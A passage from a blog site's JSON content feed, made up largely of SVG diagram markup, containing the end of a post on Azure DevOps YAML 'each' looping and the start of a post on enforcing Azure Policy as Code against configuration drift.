style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='180' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='180' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='52' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='180' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='84' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='52' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='52' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='52' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003ccode\u003ematrix: ${{ convertToJson(parameters.regions) }}\u003c/code\u003e.\nThis shifts the work from the compile-time expansion engine to the runtime execution engine, resulting in sub-5-second initialization times even for massive fan-out scenarios.\u003c/p\u003e\n\u003ch2 id=\"hands-on-example-the-global-scale-deployer\"\u003eHands-On Example: The \u0026ldquo;Global Scale\u0026rdquo; Deployer\u003c/h2\u003e\n\u003cp\u003eConsider a pipeline that takes a single \u003ccode\u003eGlobalConfig\u003c/code\u003e object. By using nested \u003ccode\u003eeach\u003c/code\u003e loops and the \u003ccode\u003eiif()\u003c/code\u003e function, you can transform a 20-line JSON configuration into a 3-environment, 12-region deployment plan with custom test suites for every target, all while maintaining a single 50-line YAML file.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eSchema Consistency is Vital:\u003c/strong\u003e Use objects to keep related data together and reduce parameter drilling.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eModularize for Scale:\u003c/strong\u003e If you hit the 100-include limit, bring your loop logic inline or consolidate templates.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMatrix for Parallelism:\u003c/strong\u003e Use \u003ccode\u003eeach\u003c/code\u003e to change \u003cem\u003ewhat\u003c/em\u003e runs, but use \u003ccode\u003ematrix\u003c/code\u003e to change \u003cem\u003ehow many\u003c/em\u003e run.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUnique IDs:\u003c/strong\u003e Always use \u003ccode\u003eformat()\u003c/code\u003e to generate unique, valid stage and job identifiers within your loops.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates#each-keyword\"\u003eMicrosoft Learn: each keyword in YAML\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions\"\u003eMicrosoft Learn: Expressions - iif and trim\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://devblogs.microsoft.com/devops/\"\u003eOfficial Azure DevOps Blog: Designing High-Performance YAML\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/azure-pipelines-tasks\"\u003eGitHub: Scaling DevOps with Data-Driven YAML\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Master the each keyword in Azure DevOps. Learn how to loop through nested objects and arrays to generate dynamic stages, jobs, and steps for massive multi-region deployments.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/advanced-each-looping-iterating-complex-nested-objects/","title":"Advanced each Looping: Iterating Through Complex Nested Objects"},{"content":"\u003cp\u003eThe compliance report arrives on a Friday afternoon. You scan through it and stop on a finding: a Storage Account with public network access enabled, sitting in your production subscription, deployed three weeks ago. Someone bypassed the documented standard, the ARM deployment succeeded, and nobody noticed until now.\u003c/p\u003e\n\u003cp\u003eYou had the standard documented. You didn\u0026rsquo;t have it enforced.\u003c/p\u003e\n\u003cp\u003eThat gap—between what your security baseline says and what actually exists in Azure—is configuration drift. It accumulates quietly, one manual deployment at a time, until an audit surfaces it. \u003cstrong\u003eAzure Policy\u003c/strong\u003e closes that gap by turning your standards from documentation into enforcement logic that ARM evaluates on every resource creation and modification.\u003c/p\u003e\n\u003cp\u003eAzure Policy scales flat: assign policies at the Management Group scope and they cover every subscription underneath, today and three years from now. This article covers how to author and deploy policies using \u003cstrong\u003ePolicy as Code\u003c/strong\u003e patterns in Terraform and Bicep, moving from audit mode into proactive enforcement and automated remediation.\u003c/p\u003e\n\u003ch2 id=\"1-the-policy-assignment-hierarchy\"\u003e1. The Policy Assignment Hierarchy\u003c/h2\u003e\n\u003cp\u003eGroup related controls into \u003cstrong\u003eInitiatives\u003c/strong\u003e (also called Policy Sets) rather than managing individual policies. A single \u0026ldquo;Security Baseline\u0026rdquo; initiative can bundle 20 policies into one assignment—much easier to manage across a hierarchy than 20 separate assignments you have to keep synchronized.\u003c/p\u003e\n\u003ch3 id=\"policy-assignment-hierarchy\"\u003ePolicy Assignment Hierarchy\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 400 233\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 104,64 L 104,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,144 L 104,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='112.000000,80.000000 100.000000,74.400002 100.000000,85.599998' fill='currentColor' transform='rotate(90.000000, 104.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='112.000000,160.000000 100.000000,154.399994 100.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='196' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='212' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='100' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext 